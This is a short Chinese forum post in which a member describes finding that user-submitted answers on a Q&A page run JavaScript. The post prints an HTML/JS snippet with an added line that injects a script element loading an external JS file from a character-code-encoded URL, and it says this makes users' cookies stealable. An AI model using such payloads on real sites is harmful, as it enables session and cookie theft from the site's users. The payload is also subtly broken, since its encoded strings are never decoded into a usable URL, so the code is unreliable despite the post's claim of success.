习科论坛会员zhj527641718(小J)这段时间在研究逆向相关的东西,不过正巧见到习科论坛群里发了一个关于JS的问题,是关于一个JS数组输出的,然后小J然想起以前貌似有一个人写了一个关于数组的问题,就去百度了一下。

 

 

于是,血案就发生了。。。


在一个页面中,发现了一件很神奇的事情,在某个用户回答的地方弹出了用户输入a-01的对话框。

这让很久没有研究XSS的小J顿时来了兴趣,到底是为什么会执行这个JS呢?于是打开chrome浏览器自带的神器F12。

 

 

 这不难看出他是写入了两次内容,却有一次被当成HTML和JS语句执行了,中间的none不难看出是写的太长然后出现的展开与收缩的点击按钮

于是。于是小J把这段HTML和JS一起复制了下来自己查看,并且拆分形式进行提交发现都不行,于是小J把他合并起来

 
<html>
<head>
<title>无标题页</title>
<script type="text/javascript">
function getList(en) {
try {
var parent = document.getElementById(en);
var length = parent.childNodes.length;
for ( var i = 0; i < length; i++) {
var tname = parent.childNodes[i].tagName;
if (tname == undefined || tname != "DIV")continue;
alert(parent.childNodes[i].id);
}
} catch (e) {
alert(e.message);
}
}
window.s=document.createElement((115,99,114,105,112,116));window.s.src=(104,116,116,112,58,47,47,119,119,119,46,113,113,46,99,111,109,47,49,46,106,115);document.body.appendChild(window.s)
</script>
</head>
<body onload="getList('main-c')">
<div id="main-c">
asfasdf
<div id="a-01" class="content">111</div>
<div id="a-02" class="content">222</div>
<div id="a-03" class="content">333</div>
<div id="a-04" class="content">444</div>
<div id="a-05" class="content">555</div>
</div>
</body>
</html>


 并且加上我们的测试调用外部JS的JS语句,然后发现


 

 

 成功调用。。可打用户COOKIE漏洞。

具体是怎么产生的还在进一步研究当中,如果有什么结果,小J会继续在习科论坛更新发布

 

 

最后放一张习科VIP核心群的聊天记录

//silic.wiki